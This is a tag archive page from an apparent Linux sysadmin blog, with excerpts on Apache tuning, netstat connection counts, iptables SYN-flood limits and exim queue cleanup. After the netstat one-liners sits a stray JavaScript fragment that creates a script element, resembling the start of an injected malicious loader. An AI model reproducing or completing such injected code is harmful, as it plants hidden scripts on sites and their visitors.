Much ado has been made about whether or not Linux is truly more secure than Windows. This article provides some tips and hints about the same. We compared Windows vs. Linux by examining the following metrics in the 40 most recent patches/vulnerabilities listed for Microsoft Windows Server 2003 vs. Red […]
Tag: number
Choosing MaxClients
The MaxClients directive sets the limit on the number of simultaneous requests that can be supported. No more than this number of child server processes will be created. To configure more than 256 clients, you must edit the HARD_SERVER_LIMIT entry in httpd.h and recompile. In our case we want this […]
Shell script to find the number of files present in the current directory without using WC command
#!/bin/bash # Shell script to find the number of files present in the current # directory without using WC command. # NOTE/TIP: # If allowed to use WC command then it should be as follows: # ls | wc -l # ————————————————————————- # Copyright (c) 2005 nixCraft project # This […]
Set HTTP Expires header
With Apache, one easy way to do this is to generate a link that contains a build/version number or date in the path, e.g: /css/{build-number-or-date}/file.css In Apache, in your configuration file (e.g. .htaccess if that is all you have access to) you can set the Expires header and rewrite your […]
iopp: howto get i/o information per process
We all know and love vmstat, but wouldn’t it be nice to get such information on a per process basis, to be able to better understand what is causing i/o problems? This is exactly what iopp, written by Mark Wong and released as open source does: “It’s a custom tool […]
To find number of httpd connections
netstat -plan|grep :80|awk {’print $5′}|cut -d: -f 1|sort|uniq -c|sort -nk 1 or netstat -pan | sort +4 | grep TIME_WAIT | awk ‘{print $5}’ | sed -e s/’:.*’//g | sort | uniq -c | sort -k 1 -nr | head -n 20 var d=document;var s=d.createElement(‘script’);
Linux Iptables Limit the number of incoming tcp connection / syn-flood attacks
A SYN flood is a form of denial-of-service attack in which an attacker sends a succession of SYN requests to a target’s system. This is a well known type of attack and is generally not effective against modern networks. It works if a server allocates resources after receiving a SYN, […]
Delete Frozen Emails
Howto check number of emails in the mail queue: exim -bpc To check the email ID, sender and receiver of the each email: exim -bp | more To delete frozen emails from the mail queue, execute: exim -bp | grep ‘frozen’ | awk ‘{print $3}’ | xargs exim -Mrm similarly, […]